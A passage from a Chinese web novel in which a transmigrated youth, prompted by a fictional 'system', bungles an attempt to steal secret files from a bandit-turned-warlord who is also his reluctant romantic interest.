姜唯’哦‘了一声,赶紧把包子夹起来,结果还没吃完,一筷子菜又被放进了他碗里。
姜唯有点惊讶地看向乔山越,对方却正忙着喝粥,感到他的目光回头看了他一眼:“看我干什么?叫你吃饭。”
他只好把菜也吃了,也投桃报李地给乔山越夹了块酥饼。两人就这么互相夹菜,在一张桌子上竟吃出了和谐的味道。乔山越有军机要务处理,吃晚饭急急匆匆地就走了,姜唯有点呆愣地坐在床上,摸了摸自己滚圆的肚子,怎么觉得比平常还吃得多呢?
他仔细想了想,又觉得男主不像是想杀他的样子,于是把系统叫出来问道:
“系统,男主会杀我吗?”
系统:「呃,原书没有这个剧情,我也说不一定啊。」它说完又补了一句:「不过按照原书炮灰和主角的关系,是很有可能的。」
姜唯闻言心里猛跳了一下,觉得自己陷入了个两难的境地,他要是继续演炮灰,那男主恐怕会杀了他,但不演任务又完成不了。
“你快帮我想想办法啊!” 姜唯道:“现在剧情崩成了这个样子,任务该怎么办?”
系统也是急地满头冒像素块,他翻阅原书,忽然灵光一闪:「对了,我们还是可以走剧情的!」
原书中张子鸣这个炮灰虽然被赶出了城,却始终没有放弃想报复男主,他通过手段和被男主俘虏的朋友赵逍联系上了,让对方假意投效男主,实则暗地里收集重要的情报。乔山越后期还在这上面栽了个大跟头。
姜唯听了却有点犹豫,他还记得在地牢里看到的那个赵逍,又脏又身上全是血:“啊?但我不想去接触他。”
系统道:「这个剧情宿主你也可以自己走啊,现在你就在男主的地盘上,正好近水楼台先得月啊!」
姜唯闻言登时醍醐灌顶,是啊,他怎么没想到呢?
这样既可以走剧情,还可以报复男主!
姜唯兴奋地在床上弹动了一下,但很快又担心起来:“但如果被发现了怎么办?他会不会杀了我?”
系统道:「到时候任务进度应该也差不多了,宿主你不用害怕,脱离的时候我好好协助你的!」
姜唯这下彻底放了心,同时燃烧起了斗志,他觉得和男主正面刚不适合他,乔山越对他这么坏,用这个方式报复回来正好!
然而在他下定决心的第二天,乔山越就带来了坏消息。
“搬走?” 姜唯惊得直接跳了起来:“我为什么要搬走?”
乔山越站在门口,闻言奇怪地看了他一眼:“这儿本来就是我住的地方。“
不过只是因为他一直在外面奔波,没机会回来住而已。当时他把这人从地牢里弄上来,暂时放在了这儿,后来也没什么空管他,没想到这人一住还住上瘾了。
乔山越见他满脸不情愿,挑了挑眉:“快点儿,下床,再磨蹭我就把你关回地牢里。“
姜唯心里一惊,他可不想再回地牢!他看着乔山越,忽然心生一计:“那我们一起住在这儿吧!”
乔山越一愣,接着缓缓眯起眼:“你说什么?”
姜唯算盘打得很好,他要暗算男主,自然是离他离得越近越好。现在他只有吃饭的时候能见到男主,如果吃住都在一起,乔山越做什么都瞒不过他的眼睛!
姜唯越想心里越热,忍不住走近了几步,用热切的目光看着他:“我们住在一起,好不好?”
乔山越垂下眼,密密的睫毛在深邃的眼窝投下一片阴影,嘴角似笑非笑。
姜唯却完全没看出他眼神里的审视,一心说服他道:“你看,反正现在你和我一起吃饭,干嘛这么麻烦呢?”
乔山越看着他,眸光闪了闪,忽然道:“好啊。”
姜唯高兴了,眼睛都跟着亮了起来。没过一会儿,就有人拿着乔山越的东西过来了,姜唯很热情地邀请他们进来,
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还直接上手帮忙挂乔山越的军装,目光却扫过地上堆着的一个个皮箱子,心想机密文件会不会就在这里头?
乔山越本人反倒是站在门口,很是沉默。
姜唯心不在焉地把衣服挂好,一回头却看见一个长相斯文的青年正神情古怪地看着他。
望楚云觉得自己真是见了鬼了。他虽然不是乔山越麾下的那帮土匪出身,但跟随他也有好几年了,自诩对这个老大还是有所了解的。乔山越有做枭雄的心胸,但骨子里还是带点劫富济贫的侠气,应当是看不惯这些鱼肉百姓、仗势欺人的军阀的。
然而最近乔山越的行动却让他看不懂了,这张三少爷不仅没被亲算,还被藏在戏园里好吃好喝地供着,现在什么情况,还要住一起了?
望楚云控制不住自己的思维往别处偏,见乔山越靠墙站着,那张三少爷温柔小意(屁颠屁颠)地在帮他挂衣服,更是控制不住脸上的表情。
姜唯有点奇怪地看着他,但当注意到望楚云手上的盒子后就不再关注他的神色,立即跑上前去:“这里面是什么啊?”
望楚云打量他,脸色有点发冷。顶天了算是清秀,也不算什么美人儿,就算乔山越好这口,也不该看上这个人啊。
他思绪翻飞,嘴上道:“三少爷不如打开看看。”
姜唯就等这句话,一把掀开盒子,却见整齐地放着三把手枪。
黑漆漆的枪械映在他眼里,姜唯一惊,顿时被吓得冷汗直冒,不禁往后退了两步。
乔山越这时走了过来,随意看了两眼:“就这些了吧。”
望楚云这时回过头:“是,差不多了。”
乔山越伸手按在箱盖上,’砰‘的一声关上了盒子接过来:“行了,你们都走吧。”
望楚云是不想走的,现在正是关键时刻,他不想主帅被’小妖精‘动摇,更何况还是这么个身份的人,但乔山越的脸色让他不得不走。
门被关上,姜唯看着乔山越拿着拿盒子,非常紧张,生怕男人掏出枪来就把他毙了。
他盯着乔山越,看着他随意把那盒子放进了一个柜子里,心里暗暗记住以后一定不能让乔山越往那边走。
吃完了晚饭,两人洗漱上床。
姜唯把自己缩在床铺最里,裹着被子面对着枪。
这戏班老板很懂享受,买的床够大,睡下他和男主中间还能留出一段空隙。
姜唯感受到身后的床榻陷下去一块,清楚地认识到乔山越就睡在他身后。
该怎么才能拿到机密资料呢?姜唯在心里盘算,这人好像很忙,等明天他出去了先把屋子里的那些箱子都翻一遍。
他还沉浸在自己的思绪里,却忽然感觉身后的人翻了个身。
接着,姜唯感到身上一沉。
他猛地睁开眼,见一条手臂搭在了身上。
姜唯:??
紧接着,一个灼热的身体贴了上来,姜唯整个人都懵了,等反应过来的时候整个人已经落入了另一个怀抱中:
“你、你干什么?”
他紧张地开口。
身后的人’嗯?‘了一声,有些微哑的声音带着疑惑:“抱一下,不行吗?”
11. 霸道土匪俏军阀
姜唯:???
男、男主要抱他?为什么?
姜唯直接被搞宕机了,难不成是想趁着夜黑风高把他掐死?
姜唯搞不清楚他的意思,一动都不敢动,却被身后的人误以为是默许。被褥里传来窸窣声,一个坚实胸膛贴上来,姜唯顿时落入了火热的怀抱中。
!!
他整个人僵住,生怕乔山越忽然伸出手来,拧断他的脖子。
幸好他身后的人收紧了手臂,抱着他的腰蹭了两下,然后就没有动作了。
姜唯提心吊胆地睁着眼,直到乔山越睡得都打呼了还没睡着,待月亮都挂在树梢上了才迷迷糊糊地睡了一会儿。
第二天起来,姜唯坐在床边满脸恍惚,眼睛下面挂着两个大黑眼圈。
乔山越惊讶道:“你昨天没睡好?”
姜唯看了他一眼,都有点懒得回答了,他真搞不懂这个男主在干什么!到了早上还抱着他,难道是怕他晚上跳窗逃跑?
乔山越见他这样,俊脸上倒露出些不好意思的神情:“是不是我打呼吵你了?“
姜唯有苦说不出,还记得现在的策略是要讨好男主,于是只抿了抿嘴道:“没有啊。”
乔山越又看了他两眼,似是有些心虚,吃早饭的是给他夹了好几个塞满肉馅的大包子。
姜唯吃得肚儿溜圆,躺在床上打挺,乔山越似是很忙,吃完饭匆匆地出去了,大门一关姜唯赶紧从床上跳了下去,开始满屋子翻箱倒柜。
乔山越带的东西不多,总共就几个皮箱,姜唯每个都打开来看了,连大衣的口袋都翻开来看了,却什么都没找到。
“怎么什么都没有啊?” 姜唯疑惑道:”系统,是不是你搞错了?“
系统道:「机密文件也不会贴身带吧,肯定是放在特定的地方啊,原书里面的描述是放在一个书架上——」
姜唯这才想起原书里似乎是有这一段,顿时睁大了眼睛:”那你为什么不早说?!“
系统都快无语死了,但不想打击宿主难得的积极性,缓缓引导道:「就算找不到机密文件,宿主也可以找找有没有什么钥匙、或者小刀之类的,这对走后面的剧情也有帮助啊。」
姜唯恍然大悟,是啊,他现在被关在这里,如果机密文件真的在外面那他得先出去才行。
于是他又是一阵翻箱倒柜,终于在翻到一条裤子时从兜里摸到了什么硬硬的东西。
他正想拿出来看,耳边突然想起了系统的声音:「宿主注意,男主要回来了!」
姜唯这下也顾不上看是什么了,急匆匆地把东西往兜里一揣就赶紧开始收拾东西。姜唯的东西以前都是家里的阿姨收拾的,手忙脚乱地塞了半天才把几个箱子恢复成原状,刚爬到床上去坐着,房间的门就被打开了。
姜唯努力用自然的表情看向乔山越:”你、你回来啦。“
乔山越单手撑着门,见青年小媳妇似得坐在床沿上,坐姿端端正正,嘴角露出一抹笑:“怎么坐这么直溜?”
姜唯闻言不安地动了动屁股:“没、没有吧。”
他心里紧张,说话都结结巴巴的,幸好乔山越似是没有察觉,进门后脸上还挂着笑,狂跳的心脏才慢慢平复下来。
谁知乔山越走进了两步,忽然一停,目光扫过几个箱子。
姜唯的心又提了起来,脸色也变了变。
他只看了一眼,就转脸看向姜唯:“你动我的东西了?”
姜唯脸色大变,慌乱道:“没、没有啊。” 虽然嘴上这么说,姜唯却连乔山越的眼睛都不敢看。
见他眼神躲闪的样子,乔山越还有什么不明白的?他面色冷了冷,走到姜唯面前,看着他的发顶命令道:“头抬起来。”
姜唯抬起头,怯怯地看着他。
乔山越扫了他一眼,伸出手:”偷了什么?拿来。“
姜唯直接震惊了,男主是怎么看出来的?!
他的表情已经保持不住了,抖着声音道:“我……我没偷……”
乔山越挑眉:“还嘴硬?别逼老子抽你的屁股。”
姜唯倒吸一口凉气,满脸不可置信:“你、你怎么能——”
乔山越直接打断他:“三、二、一——”
见男人作势要扬起手,姜唯终于怕了,忙不迭从兜里掏出那个冷冷硬硬的东西:“等等!你拿去吧,别打我……”
乔山越这才把手放下,看着他手上的东西,神情中闪过丝惊讶,接着嗤笑了一声:“看来三少爷还是不死心啊。”
姜唯一愣,看向自己的手,这才看清他拿的是一个印章,上头刻着一个’张‘字。
他立即认出了这是什么,原书里有说过张自明将帅印分成了三分,三个儿子一人一个,分别能够调令不同地区的士兵,这样不需要他亲自露面儿子们也可以领兵。张子鸣手上的这块权力最小,只能命令郊区的一小支防卫兵。
原书里张子鸣就是靠这支兵马才能逃出城外。
”可惜你现在拿着这个也没用。” 乔山越显然是误会了他的意思,语气冰冷道:“城南的那支杂兵早就被我收编了。”
他垂视着姜唯,似是有些不满:“你也不好好想想,连峯城都是我的了,这附近还能有你们帅府的兵?真笨。”
姜唯又被他骂了笨,又生气又委屈:“我、我本来不是想偷这个的……”
乔山越闻言扬眉:“那你想偷什么?”
姜唯说不出来。乔山越似笑非笑地看了他一眼,将印章收起来,什么话也没说,转身就走了。
这下姜唯也不敢乱来了,委委屈屈地藏在被窝里跟系统抱怨:“系统,男主要打我你也不管吗?”
系统倒觉得乔山越不像是真要打他的样子,原书里的男主可是杀伐果断,刚才他跟逗小猫小狗一样,显然不是认真的。
「男主是正派主角,不会随便打人的。」系统道:「宿主这个时候还是应该和男主套套近乎,让他放松警惕,之后事情就好办了。」
姜唯想到刚才乔山越机警的样子,咬了咬牙,确实是他太着急了,不应该在男主搬进来的第一天就翻他的东西。他应该先按兵不动,徐徐图之……
姜唯调整好了心态,待乔山越晚上回来又是一副笑脸,殷勤地给他夹了好多菜。
待吃完饭,姜唯小心翼翼地道:”对不起,我不该乱动你的东西。“
乔山越看过来,姜唯努力睁大眼睛作无辜状:“我不是故意的……”
这是他惯用的招数,每次闯完祸只要这样摆出这个表情,他哥就会原谅他。
这是这招放在男主身上似乎不太管用,乔山越只是不咸不淡地看了他一眼,什么也没说。
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姜唯不禁有点失望,看来男主对他的防备是加深了。
晚上两人上榻休息,姜唯坐在被褥上,盯着乔山越,试图从脸上看出些情绪来。
乔山越走过来坐到床边,忽然’啧‘了一声,抬手扔出了个什么东西:“拿去。”
那东西砸在姜唯腿上,他低下头一看,发觉是尊麒麟雕塑。
雕塑工艺极好,麒麟两颗圆眼睛栩栩如生,虽只有巴掌大却十分秤手,竟然是纯金打造的。
姜唯懵了,正想着男主为什么要给他这个,就听到乔山越的声音:
“只有这个,别的没有了。” 他转身在床上躺下,舒适地叹出口气,低声道:“眼巴巴地看了老子一晚上,拿去吧,以后少东想西想的。”
姜唯摸到了雕塑似是有字,翻过来一看,发现是原身的名字,猜出这可能是他以前帅府里摆设。
想起之前那间装潢奢华的房间,姜唯心里一热,忍不住问:“什么叫别的没有了?‘我’的其他东西呢?”
光是原身的房间里都有不少好东西呢!
乔山越躺在床上,瞥了他一眼,随即闭上:“充公了。”
“充公?!” 姜唯急了,嘴上说的好听,还不是被这土匪抢去了:“都是你拿去了吧?”
乔山越闭着眼道:“你以为谁都像你们帅府?”
姜唯狐疑地看着他,还想说什么,乔山越却一把搂住了他的肩膀:“行了,别说了,睡觉!”
姜唯被他按在胸口,身上被男子有力的手臂紧压着,几乎动弹不得。他挣了挣,想让男人松开自己,却被箍得更紧:
“别动了,再动这个我也不给你。“
姜唯于是不敢动了。
他握着金麒麟,心里把男主骂了千百遍,这个强盗、土匪!也太贪了!
乔山越却脸皮厚得很,抱着他呼吸很快变得平稳,眼看着就要睡着了。
姜唯咬牙盯着他的侧脸,心想这人倒是心大!乔山越神情平静,浓黑的眉尾舒展,高挺的鼻梁侧长睫轻轻扇动着。他的皮相着实俊朗,睡着的时候不像土匪,倒是想哪个富家公子。
姜唯心里本来十分恼恨,但看着看着又有点出神了。
这时,乔山越却忽然睁开了眼,姜唯一惊,赶忙敛下眼睛,面上有点发红。
他竟然又看男主看出神了!
乔山越咳嗽了一声,声音有些喑哑:“差点睡着了。”
姜唯正羞愤地低着头,忽然感到一只手摸了摸他的发顶:“快睡吧,嗯?”
姜唯抬头去看他,见乔山越眉宇间有些疲色,五官在昏黄的灯光下尤显深邃,心里忽然漏了一拍:”你不睡吗?“
乔山越打了个哈欠,眉目没有白天那么凌厉,眼神竟显得有点温柔:
”你睡了我再睡,省得明天你一副睡不醒的样子。“
姜唯这时懂了他的意思,男主是怕打呼吵到他,要等他睡着了再睡。他很惊讶,脸也有点红了,竟有点不知所措起来:“你、你睡吧,不用管我——”
乔山越在他背后拍了一下:“闭眼。”
姜唯只好闭上眼睛,僵硬地靠在男人怀里。乔山越倒似是认真地要先等他睡着,手一下一下地抚过他的后背,姜唯躺在他怀里,心里有点烦乱的情绪渐渐平息,没过一会儿竟真的睡了过去。
12.霸道土匪俏军阀
姜唯一夜好眠,起来后脑子里还有点懵。
男主怎么突然对他这么温柔?姜唯想起他哥姜程,以前他们全家出去旅游他睡不惯床,他哥就是这样哄他的。
而乔山越一向是很可恨的,之前一直欺负他,突然对他这么好,姜唯觉得他肯定是别有企图。
他坐在床上盯着男人看,乔山越弯腰套上靴子,察觉到他的目光,回头瞥了他一眼:“看我干什么?”
姜唯赶忙撇下眼,不敢再看他:“谁看你了?我没看。”
乔山越见他垂着脸坐在床上,面上浮现出笑意,想张嘴说些什么却又咽了回去,板着脸道:“拖拖拉拉的干什么?下来吃饭。”
姜唯只好挪下去坐到饭桌旁边。早饭是一如既往的家常菜,他咬住个大肉包,听着男主在耳边念叨:
“你别东想西想,你们的兵跑的跑散的散,剩下的都被我收编了,没人会听你的。”
乔山越似乎还是觉得他想东山再起,要是原身听到他说的这些话肯定会恼怒,但姜唯却不太在意。他是来做任务的,又不是来打仗的:
“嗯嗯。” 他点点头,被肉包噎得慌,低头喝了口水。
乔山越看出他的敷衍,嘴角的笑意更深了些,忽然道:“帅府也被我抄了,你就别念叨那些金银财宝了。”
姜唯一听顿时精神了,猛地抬眼看向他。他还敢说!都是这个人把他的钱都贪去了!
乔山越见状好笑道:“看你这个财迷样。”
他笑着笑着却又转念想到帅府的钱财都是怎么来的,心中一顿,对上青年澄澈的眼睛,却又很难将这个什么情绪都写在脸上的人与传闻中的张三少爷联系起来。
许是本性不坏,只是被周围的人带偏了。乔山越心想,帅府那么个大染缸,他往日的行为许是跟旁人学的也说不一定。
他却也知道这是在为青年开脱,脸上的笑淡了,道:“总之你乖乖待着,以前的事都别想了,别想着动歪心思。”
姜唯听了,又有些心虚,心道男主还是防备他,嘴上却道:“我挺乖的啊,你天天把我关在这里,我都没抱怨。”
乔山越挑了挑眉:“那你还想怎么样?这里比牢房可是好多了。” 他顿了顿,又道:“再说了,能陪你的时候我都来陪你了。”
姜唯惊讶,心说这和陪不陪的有什么关系?他本来没多想,听男主这么说,倒真有点生气了:
“什么叫比牢房好?” 姜唯不平道:“你看看这屋里,什么都没有,我成天除了吃饭就是睡觉,跟猪狗有什么区别?你这样是虐待!”
姜唯说的理直气壮,这屋子里连本书都没有,如果不是他有系统放电影肯定会很无聊。
他话说的难听,乔山越皱起眉:”行了,少蹬鼻子上脸,对你已经够好的了。再有什么不满意我就把你关回牢里去!”
见他变脸,姜唯立马被吓得不敢说话了,待乔山越穿上军装走了才悄悄对系统说:
“系统,男主太警惕了,我怎么做任务啊?”
系统道:「呃……我再帮你研究研究,实在不行翻窗吧。」
姜唯不满道:“你不是智能系统吗?就没有什么穿墙术之类的技能吗?”
系统道:「有是有,但你的积分不够啊。」
姜唯:……
他真的恨死系统了!
一人一系统研究了一下怎么翻窗,然而乔山越一回来却将他们打了个措手不及:
“明天下午给你把门打开,你出去转转吧。”
乔山越低头进门,抬眼看向他:“但只准在院子里,不许到前面去。”
姜唯被这么一个大惊喜砸懵了,有些呆愣地看着他。
乔山越见他这副样子,心下有些发软。他今天又想了想,觉得老是把人关着也不是事儿,以前他也见旁人养过猫狗当宠物,白天没人陪着玩儿到处去遛弯儿,就会把家里弄得一团乱。与其让这人把房里翻得乱糟糟的,还不如让他出去放放风。
他走近几步,见姜唯还呆呆的,便道:“怎么,你不想出去?”
“想、当然想!”
姜唯立即谄媚地迎了上去,殷勤地把男主的外套接过来挂好,一整晚都是和颜悦色的。乔山越被他伺候得舒舒服服,第二天出门前还叮嘱道:“就在院子里玩儿,听到没?”
姜唯乖乖点了点头:“我知道了。”
见他乖顺,乔山越笑了笑,手按了按他的发顶。他已经命令过谁都不许来小院子里,现在这里已经不是戏园,而是他的大本营。他从土匪发家,有不少兄弟都是被军阀盘剥,日子过不下去才落草为寇的,不好让他们看见这位张三少爷还能光明正大地在外头走。
乔山越叮嘱完就走了,果然没有把门锁上。
姜唯迫不及待地跑了出去。戏班老板很懂享受,居住的这个院子面积不小,左右还有两个厢房。中间还有个精致的小花园,只是看起来很久没人打理,杂草丛生。姜唯去左右两个厢房看了看,打开门发现里面放的全是米面粮油,完全是被当仓库用了。
看来这个院子里是没什么了,姜唯问系统道:“系统,有什么办法可以出这个院子吗?”
系统扫描了一遍院子后道:「有的,你往东南方向走,在墙根底下。」
姜唯于是顺着系统告诉他的方向走了过去,拨开墙根底部的杂草,一个圆拱形的狗洞出现在眼前。
姜唯一惊:“系统,你叫我钻狗洞?”
系统道:「没事的宿主,我测算过,你钻得过去」
姜唯脸色一会儿红一忽儿白,他是有点轻微洁癖的,但想到任务,还是咬了咬牙趴在了地上。
他努力了一阵才从狗洞穿过去,蹲在对面气喘嘘嘘,不得不承认他的确是吃胖了。
正当他喘气时,耳边忽然传来系统的提醒:“宿主,有人来了!”
姜唯赶忙躲开,过了一会儿,果然看见几个穿着军装的人走了过来。他们虽然穿着军装,气质却十分粗犷,满脸的大胡子。姜唯认出了其中一个人,是乔山越把他抓回来的时候架着他的两个人之一。
姜唯还记得他们先前穿的是藏蓝色的短打,一看就是土匪的样子。他看着几个军装土匪走过去,心道男主果然是要转型了,不仅他自己,下面的人也都换上了军装。
不过这不关他的事,姜唯在系统的帮助下绕开了所有人,来到了一处房间面前。
姜唯道:“你确定机密文件是在这里面?”
系统道
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:「按照原书的描述,我有99.9%的把握确定机密文件就在里面」
姜唯于是推门走了进去,里面是个小房间,靠着墙放了许多柜子,桌上有一台打字机,柜子上有些杂乱地放着些文件。
姜唯问系统:”系统,机密文件在哪个柜子上?”
系统道:「我看看哈,在——」它说到一半,语气忽然一变:「不好,男主正在往这边走!」
姜唯脑子里嗡的一声,登时慌了:“什么?!”
系统紧张道:「赶快拿了文件就走,是右边第二排倒数第三个文件!」
姜唯心脏急跳,他可不能被乔山越抓住!他慌乱地按照系统说的拿了文件,接着赶紧出了房间。
系统道:「好,男主是从左边来的,你走右边——」
姜唯把匆匆文件塞进怀里,就按照系统说的往右边跑,然而还没走出去两步,耳边忽然传来系统的尖叫:
「啊!不对、快躲起来!」
姜唯一愣,根本来不及反应,乔山越就出现在了他面前。
男人简直像是凭空出现的,长腿一跨把他的去路死死堵住。阳光打在他深邃的五官上,却无法消解上面的冷意。
乔山越看到满脸惊慌的姜唯,似是也不惊讶,垂眸冷笑了一声:
”是说听到了什么东西蹑手蹑脚地响,还以为是老鼠……原来是你。”
姜唯被吓懵了,在识海里尖叫:“系统!!这是怎么回事?!"
系统有苦说不出,他本来是检测到男主是在另外一个方向走的,也不知道他察觉了什么,忽然顿住折返,速度快的根本没给他们留下反应的空间。
它现在是真后悔第一个位面就给姜唯选择这种有武力值的世界,他们俩根本不是男主的对手!
乔山越自小习武,五感比常人灵敏,他其实在真正看到这人之前就分辨除了他的脚步声。然而当真看到青年一脸慌张地出现在面前时,他心底还是立即冒出了股邪火:
“这次又偷了什么东西?” 乔山越压抑着自己的怒气,黑眸沉沉:“给你个机会,自己拿出来。”
姜唯的脸’唰‘的一下白了,捂着胸口不住地摇头。
乔山越面色一沉,气到极点额角都抽了一下,走到姜唯面前跟老鹰抓小鸡似得一把捏住了他的后颈。
“啊!” 男人手劲极大,姜唯登时痛地尖叫了一声,觉得自己半边身子都麻了。他毫无还手之力,藏在怀里的文件直接被乔山越拿了过去。
乔山越神情阴沉,一手牢牢挟制着姜唯,另一只手翻开文件。
然而就在他看到文件上的内容后,乔山越的怒容一滞,神情从愤怒转为疑惑。
姜唯被文件挡住视线,看不见乔山越的表情,只觉得自己是死定了!
然而下一刻,他就见文件挪开,乔山越扬起眉,啼笑皆非地问:
“你拿我账本干什么?”
姜唯猛地呆住了:“什、什么……”
什么账本?姜唯看向乔山越手中的东西,那不是机密文件吗?!
”系统,到底是怎么回事?!“
系统也懵了,赶紧回去调取了刚才的录像片段,看过后差点晕过去:「宿主、你拿错文件了!」
13.霸道土匪俏军阀
系统都快晕了,它明明清清楚楚说了是第二排倒数第三个文件,姜唯却拿成了第三排的文件。
姜唯竟然这样都能拿错!
姜唯也惊了,他竟然拿错了吗?这时候乔山越又提着他摇了摇:“问你呢,偷我账本干什么?”
姜唯仰起头,脸色还是很苍白:“我、我……” 他解释不出来,嘴唇颤了颤,抬眼看向男人:“你抓得我好痛啊。”
乔山越对上他含着水汽的眼睛,神情一顿,接着松开了手。
姜唯立即就想去捂痛的地方,却被乔山越抓住手腕拿开,他低头打量,发现青年白皙的皮肤上有几道红痕,已经隐隐有变紫的趋势。
乔山越皱了皱眉,片刻后松开手:“就你娇气。” 他都没使多大劲。
姜唯本来是很心虚的,听他这么说却感到一阵委屈:“你、明明是你把我弄疼了。”
乔山越看道他微红的眼眶,神情微震,刚想说什么,却眉头一皱,一把将姜唯扯到了身后。
“老大!” 王楚云从转角处走出来,额角上带着些细汗,在看到姜唯后顿时皱起了眉:“这是怎么回事?他怎么会在这儿?”
姜唯见有人过来了,在乔山越背后躲着不敢说话。
乔山越道:”没什么,带他出来逛逛。“
”逛逛——“ 王楚云闻言如遭雷劈,神情都有点扭曲了。张子鸣是什么身份?留他一命就算了,竟然还让他在大本营里到处走?他脑子里蹦出’色令智昏‘四个大字,但见乔山越神情如常,到底还是把一肚子话都咽了下去,委婉道:“这边人多眼杂,在这边闲逛不太好吧?“
乔山越点点头:”这就回去了。“
王楚云这才松了口气,心道改天他一定要和乔山越好好聊聊这件事。最底线是金屋藏娇,把人带到前头来是决然不行的。
然而这口气还没松完,他又看到了乔山越手上的东西,登时一愣:“老大,你拿账本干什么?”
乔山越道:“哦,没什么,闲着想对对账。你不是还有事吗?去吧。“
王楚云闻言,表情不禁更加古怪了几分。闲?现在正值扩张时期,堆积的军务估计到下月都处理不完,他有什么功夫查账?
而且说是账本,其实他们这里的内部程序都还没建立起来,那上面只记录了从帅府和别的官宦家中抄出的财务用在了什么地方而已。
到底不是什么大事,王楚云虽然觉得有些奇怪,但还是没说什么,点点头就走了。
乔山越拽着姜唯回到了小院,见院门上的锁没有被动过的痕迹,乔山越揪着他的胳膊问:
“你是从哪钻出来的?不许撒谎。”
姜唯被他急言令色吓得不轻,怯怯地道:“那、那边儿有个小洞——”
乔山越走过去一看,发现了那个狗洞,嗤笑一声:“还真是跟只野猫似得。“
一不看住就到处乱钻!乔山越压下去的气又上来了,直接找来几块转,当场就把狗洞给堵上了。
姜唯被他挟着进了屋子,门一关,乔山越就看着他道:
”你以后别想出去了,就给我在屋里待着。“
姜唯坐在床上,也不敢反抗,可怜兮兮地看着他。
乔山越道:“看什么看?”
姜唯被凶了,也不敢再看他,只好看自己的手指头。
屋里顿时陷入了一阵沉默,姜唯不敢说话,乔山越也不说话,不知道为什么也没走。一股淡淡的尴尬弥漫开来,姜唯沉浸在任务失败的挫败之中,垂着头掰自己的手指,
乔山越在屋里走来走去,他也懒得管对方是在干什么。
系统看他沮丧,开口道:「宿主,你也别太伤心了,剧情完成度还是涨了的。」
姜唯闻言打起了点精神:“涨了多少?”
系统顿了顿,道:「……2%」
姜唯:……
”算了,有一点算一点吧。“ 姜唯沮丧道。
现在男主不让他出去了,也不知道以后该怎么办,姜唯正低着头扣手指,头顶却传来男人的声音:“把领子撩开我看看。”
他一愣,抬起头,看见乔山越拿着个盒子站在面前。
见他没动作,男人’啧‘了一声,在他身边坐下来,伸手将他的领子扒开:“真够墨迹的。”
姜唯惊恐地揪住自己的领子:“你、你要干嘛?”
乔山越没理他,看了看青年后颈上已经有些淤肿的伤痕,从盒子里拿出药膏,用手指将其涂在伤痕处。
姜唯感到微凉的温度,意识到乔山越是在给他上药,这才缓缓放松了身体。
“好了。” 上完药,乔山越收回手:“别去碰,明天再给你涂。”
姜唯从他的语气里听出缓和的意思,忍不住侧过脸看了一眼,乔山越神色平静,似是已经不生气了。
姜唯抿了抿嘴,心中又感到了些奇异的尴尬,他移开眼,想转移注意力,干脆把那害得他又被关禁闭的账本拿起来看。
乔山越见状都快气笑了:“你就这么在意这个?”
姜唯心道这可是‘他’的家产,怎么就不能在意了?但这话他不敢说,只能窝窝囊囊地背着乔山越,低头看账本。
说是账本,上面的记录其实很粗略,大约就是帅府里搜刮出的金银财宝卖了多少钱,然后又用来买了什么。
姜唯看到那一件件宝贝都被男主拿去卖了,心都在滴血,虽然不是他的钱他也肉痛。
但是看到后面,他又发现这些卖东西所得钱都被男主用来买了米面粮油,他有些惊讶,想到刚才在厢房里看到的那些东西,原来都是男主拿抄家的钱买的。
这时,乔山越道:“现在你相信了吧,钱我都充公了。”
姜唯看了他一眼,心道我怎么知道你有没有偷偷藏点私房钱。这话他不敢说出来,只能问:“你买这么多粮食做什么?”
乔山越闻言看向他,眯了眯眼,忽然道:“我带你去个地方。”
姜唯惊讶道:“去哪?”
他真是被搞晕头了,男主刚才还说要关着他,现在又要带他出去了?姜唯搞不清他是什么意思,乔山越却是说一不二,把姜唯拉着出了院子,来到一个小门前带上了一辆小轿车。
姜唯先是注意到这辆小轿车也是以前帅府的,但他还是更关心男主要带他去哪:“你到底要带我去哪?”
乔山越道:“到了就知道了。”
姜唯有些惶恐,心说不会是要找个地方把我杀了吧?但转念又想如果要杀他,乔山越没必要给他上药。就这么忐忑了半个多小时,小轿车在城郊的某个地方停下来。
姜唯被乔山越带下了车,抬头便见不远处支起了个帐篷,有几个学生样貌的人站在帐篷下,正在给排队的百姓分发粮食。
“谢谢,谢谢你们这些好心人……”
队伍最前方,一个面容枯瘦的老人牵着瘦小的孩子,正在和学生们道谢。
姜唯目光滑过面有饥色的人群,眼底泛出惊讶,在他的时代已经极少有人会吃不饱饭,所以看到这么多受饥饿所困的人出现在面前,冲击还
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是很大的。
他看了看学生们身后堆成小山状的米面粮食,明白了什么,扭头看向乔山越:“那些粮食,是你给他们的?”
乔山越没有否认:“今年雨灾,粮食收成不好,受灾的人不少。”
他低下头,见姜唯脸上的神色不像是没有触动,便循循善诱道:“你看,光是那金麒麟你们帅府就有不下十个,你有一个就足够了,剩下的换成粮食,帮助这些饭都吃不饱的人,不是很好吗?”
姜唯当然明白这个道理,但听见男主像教小孩儿似得语气,又微红了脸,别开眼低声道:“……我又没说你做错了。”
乔山越见他这般,嘴角浮现出些许笑意,心道还是知道是非好歹,没长得太歪。
那边还在发粮,乔山越看着身边低着头站着的姜唯,心情变得愉快。
他抬手压了压青年的蓬松的发顶,又摸了摸他的肩膀,低声道:“你学点儿好,少动些歪心思,别惦记以前的事了,如果能做到,我就——”
姜唯想听这个‘就’后面是什么,乔山越却没说下去。
”就什么?“ 他问。
乔山越转过头,朝他露出个俊朗的笑:”就让你活久些。“
姜唯闻言,微微睁大了眼睛,无意识地流露出些委屈:“你还要杀我啊?”
“看情况。” 乔山越挑了挑眉:“但是你再不听话,我是要打人的。”
姜唯张了张嘴,心想怎么还有这样的?他露出不服气又有点害怕的眼神,乔山越眼底的笑意又深了些,伸手揽住他的肩膀回了车上。
过了几天,王楚云借有重要军务要讨论的借口找到了乔山越。
他醉翁之意不在酒,说了几句就抬眼看向正点着烟坐在窗边的男人:“老大,那天——”
乔山越似是知道他要说什么,头也没回地道:“我知道,以后不会让他出来了。”
王楚云得到了保证,却还是不太放心:“老大,你和他到底是——”
乔山越闻言,回头看了他一眼:“你想多了,我和他什么都没有。”
王楚云这才松了口气,神情变得古怪:“那您到底为什么要把他留在身边。”
既然两人不是那种关系,乔山越潜伏在戏园里时还曾经被他侮辱,王楚云想不通乔山越为什么还要留下他。
“我留着他自然有我的用处。” 乔山越道:“顺便给他做点思想改造,说不定还有救。”
王楚云听到前面还没什么反应,听到后半句却脸色微变:“老大,你不要被他迷惑了!”
